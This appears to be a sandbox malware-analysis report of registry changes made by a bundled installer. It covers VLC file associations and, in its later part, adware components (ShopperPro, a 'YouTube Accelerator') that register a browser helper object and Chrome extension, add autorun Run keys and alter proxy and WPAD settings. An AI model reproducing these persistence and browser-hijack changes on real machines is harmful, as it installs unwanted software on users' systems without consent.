[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMinor" = "0"

[HKCR\VLC.wmv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rmvb\shell]
"(Default)" = "Open"

[HKCR\VLC.vob]
"(Default)" = "VLC media file (.vob)"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp2v" = ""

[HKCR\VLC.webm]
"(Default)" = "VLC media file (.webm)"

[HKCR\.ogx]
"(Default)" = "VLC.ogx"

[HKCR\VLC.au\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m2v\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg1" = ""
".IT" = ""
".mpeg2" = ""
".mpeg4" = ""

[HKCR\VLC.wav\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".OPUS" = "VLC.opus"

[HKCR\VLC.mtv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell]
"(Default)" = "Open"

[HKCR\VLC.w64\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mlp" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeProgID" = "VLC.VCDMovie"

[HKCR\VLC.m4p\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ape\shell]
"(Default)" = "Open"

[HKCR\VLC.it\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.3gpp\shell\Open]
"(Default)" = "Play"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.spx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".a52" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"IconsVisible" = "1"

[HKCR\VLC.3gp2]
"(Default)" = "VLC media file (.3gp2)"

[HKCR\VLC.ogg]
"(Default)" = "VLC media file (.ogg)"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.tod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.au\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.w64\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.opus\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WV" = ""

[HKCR\.gxf]
"(Default)" = "VLC.gxf"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nuv" = "VLC.nuv"

[HKCR\VLC.mp2v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mka]
"(Default)" = "VLC.mka"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\Version]
"(Default)" = "1.0"

[HKCR\VideoLAN.VLCPlugin.2\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.aob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U" = ""

[HKCR\VLC.mp4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ifo" = ""

[HKCR\VLC.mxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogm]
"(Default)" = "VLC media file (.ogm)"

[HKCR\VideoLAN.VLCPlugin\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gpp]
"(Default)" = "VLC.3gpp"

[HKCR\VLC.cda]
"(Default)" = "VLC media file (.cda)"

[HKCR\VLC.mkv\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpe" = "VLC.mpe"
".mpg" = "VLC.mpg"
".mpa" = "VLC.mpa"
".MPC" = "VLC.mpc"
".sdp" = "VLC.sdp"

[HKCR\VLC.m2t\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\VLC.mka\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4" = "VLC.mp4"

[HKCR\VLC.aif\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MP1" = "VLC.mp1"
".MP3" = "VLC.mp3"
".MP2" = "VLC.mp2"

[HKCR\VLC.mpeg1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mka\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".S3M" = ""

[HKCR\VLC.b4s\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open]
"(Default)" = "Play"

[HKCR\.f4v]
"(Default)" = "VLC.f4v"

[HKCR\VLC.ifo\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".asx" = ""
".asf" = ""

[HKCR\VLC.mp4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.nsv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u8\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKCR\VLC.ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin\CurVer]
"(Default)" = "VideoLAN.VLCPlugin.2"

[HKCR\VLC.aob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder]
"(Default)" = "VLC Play content"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aob" = "VLC.aob"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mlp" = "VLC.mlp"

[HKCR\VLC.rmvb\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amr" = ""

[HKCR\VLC.m4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe %1"

[HKCR\VLC.aifc\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CUE" = ""

[HKCR\VLC.wma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\shell]
"(Default)" = "Open"

[HKCR\VLC.mpc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.caf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3ga" = ""

[HKCR\DVD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.opus\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell]
"(Default)" = "Open"

[HKCR\VLC.DVDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"UninstallString" = "%Program Files% (x86)\VideoLAN\VLC\uninstall.exe"

[HKCR\VLC.mpeg2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.caf\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ram" = ""

[HKCR\VLC.snd\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\.mp1]
"(Default)" = "VLC.mp1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U8" = "VLC.m3u8"

[HKCR\VLC.m4a\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.voc]
"(Default)" = "VLC.voc"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKCR\VLC.nuv\shell\Open]
"(Default)" = "Play"

[HKCR\.m3u]
"(Default)" = "VLC.m3u"

[HKCR\VLC.mp3]
"(Default)" = "VLC media file (.mp3)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKCR\VLC.vlc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mov\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeProgID" = "VLC.SVCDMovie"

[HKCR\.pls]
"VLC.backup" = "PerlScriptFile"

[HKCR\VLC.mov\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe]
"(Default)" = "VLC media file (.mpe)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mka\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rm]
"(Default)" = "VLC media file (.rm)"

[HKCR\VLC.snd\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rec\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4v" = "VLC.mp4v"

[HKCR\.caf]
"(Default)" = "VLC.caf"

[HKCR\VLC.a52\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xspf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wav\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma]
"(Default)" = "VLC media file (.oma)"

[HKCR\VLC.VCDMovie]
"(Default)" = "VLC VCD Movie"

[HKCR\VLC.dts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg" = ""

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.mod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell]
"(Default)" = "Open"

The process cmdshell.exe:2300 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ShopperPro.exe:4004 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "a0968f9e-e6b6-4bae-9c17-c7f1ed550818"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtyc"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "06 DC AD 48 AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "D2 52 CE 45 AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "3.1.9318.1766"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1.42.0.1766"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.1.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process GLBC522.tmp:2348 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1429342529"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1429342529"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

